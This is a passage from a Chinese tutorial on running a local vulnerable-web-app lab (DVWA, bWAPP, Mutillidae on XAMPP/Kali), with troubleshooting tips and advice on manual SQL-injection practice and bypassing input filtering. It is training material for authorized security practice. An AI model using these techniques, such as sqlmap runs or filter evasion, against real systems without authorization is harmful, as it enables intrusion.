访问靶场页面404Apache虚拟主机与目录路径不匹配确认目录权限为755,确认URL路径大小写
靶场页面能开但数据库连接失败MySQL服务未启动或密码错误sudo /opt/lampp/lampp start,检查配置密码
初始化数据库很慢或超时磁盘IO差或SQL脚本大等待30秒以上,不要反复刷新
PHP页面空白或500PHP模块未启用或代码兼容问题打开display_errors,查看error_log
靶场页面可访问但功能报错PHP版本过高或缺少扩展检查php.ini中的扩展配置
Burp抓不到HTTPS明文证书未导入浏览器或未启用SSL导入Burp CA证书,开启startssl
sqlmap无法登录DVWA缺少security会话参数手动携带PHPSESSID和security=low

10. 靶场练习中的常见误区与经验心得

10.1 别掉进“工具依赖症”的坑

很多新手打靶场,上来就在终端敲sqlmap --dbs,跑出来的库名一看就懂,然后觉得自己已经会了。但真要面试或做项目时,问你“宽字节注入的原理是什么”“为什么id=1'报错但id=1\'就不报错”,立刻就卡壳。本地靶场的核心价值之一,就是能让你关掉工具,用curl或浏览器控制台手动发请求,逐步确认每一个字段的作用。建议每接触一个新漏洞类型时,先纯手工构造Payload验证一遍,再用工具跑通,最后对照源码阅读代码逻辑。

10.2 注意区分“靶场漏洞”和“真实系统漏洞”的差异

靶场为了教学清晰,往往把漏洞暴露得很明显,参数命名直白、回显友好。但真实业务系统里,漏洞往往藏在某个API的JSON参数里、藏在Base64编码之后、藏在分页逻辑的参数偏移里。只练靶场的人,在拿到真实授权目标时会觉得无处下手。怎么破?最好的办法是:在靶场练习时,总是刻意给自己增加难度,比如给请求加一层URL编码、把Cookie改成不常见的格式、尝试绕过前端JS校验直接提交异常参数。把打靶场的每一次请求都当成真实测试来打,差距就是这样拉开的。

10.3 我踩过的“最值钱”的几个坑

写到最后,分享几个我实战中踩过、但很少有人提到的细节。

一是XAMPP的端口占用问题。如果你同时开着Kali自带的Apache和XAMPP,重启机器后系统服务可能先声夺人,占住80端口,导致XAMPP启动失败。解决方法是把系统自带的apache2设为禁止开机自启,只保留XAMPP的启停方式。具体做法上面已经提过,这里再强调一次:sudo systemctl disable apache2这行命令一定要执行。

二是/opt/lampp/htdocs目录缺省权限问题。用sudo克隆下来的靶场目录,所有者是root,而Apache默认以nobody用户运行,某些功能(文件上传、目录写入、缓存生成)会因为没权限而静默失败。解决办法是把整个实验室目录的所有者改成nobody或者daemon,或者给目录加o+w权限:

sudo chown -R nobody:nogroup /opt/lampp/htdocs/sec-lab # 或者 sudo chmod -R 755 /opt/lampp/htdocs/sec-lab

具体用哪种方式,取决于你练的功能类型。练文件上传时我建议用chown方式,练目录爆破时用755权限就够了。

三是不要在靶场里开太多“并发扫描”。有一次我用目录扫描工具同时扫五套靶场,结果XAMPP的Apache因为文件句柄耗尽直接挂了。靶机环境是拿来精细练习的,不是拿来压测的。并发数控制在10以内,扫描前先确认靶场页面能正常访问,再逐步加大强度。安全测试的本质是逻辑推理和耐心验证,不是靠并发数堆出来的“暴力感”。

四是VMware虚拟机里跑Kali + XAMPP,网络建议用桥接模式。NAT模式下,坐在同一台宿主机上访问靶场的IP虽然也能通,但有些高级练习(比如模拟外部扫描目标、起一个SMB服务、做内网转发)会因为NAT的隔离特性而受阻。桥接模式最贴近真实网络,靶机和攻击机就像同一局域网里的两台机器,练习体验最完整。

五是不要忽略靶场自带的“Hints/Documentation”页面。DVWA、Mutillidae、bWAPP都有完善的帮助文档,里面不仅写了漏洞原理,还会给出利用提示。很多同学一上来就直奔漏洞页,卡住了就去搜索引擎找答案,却没有看靶场作者精心写的说明。其实这些说明本身就是最好的“题解”,认真读一遍,收获比搜索引擎零散信息大得多。

搭完这套环境之后,你已经有了一个“全天候待命”的安全实验室。剩下的核心任务,就是投入时间、反复打磨手动攻击链路的直觉。我自己带过的几位新人,基本上都是靠这套本地靶场环境从零开始建立起漏洞思维,最后的水平差距不在工具熟练度,而在“拿到一个输入点,能不能自然地问出三个问题:这里会被拼进SQL吗?会被直接输出回HTML吗?会作为文件路径去读文件吗?”如果看完这篇文章,你能带着这三个问题去点开每一个靶场页面,那这篇分享的使命就完成了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询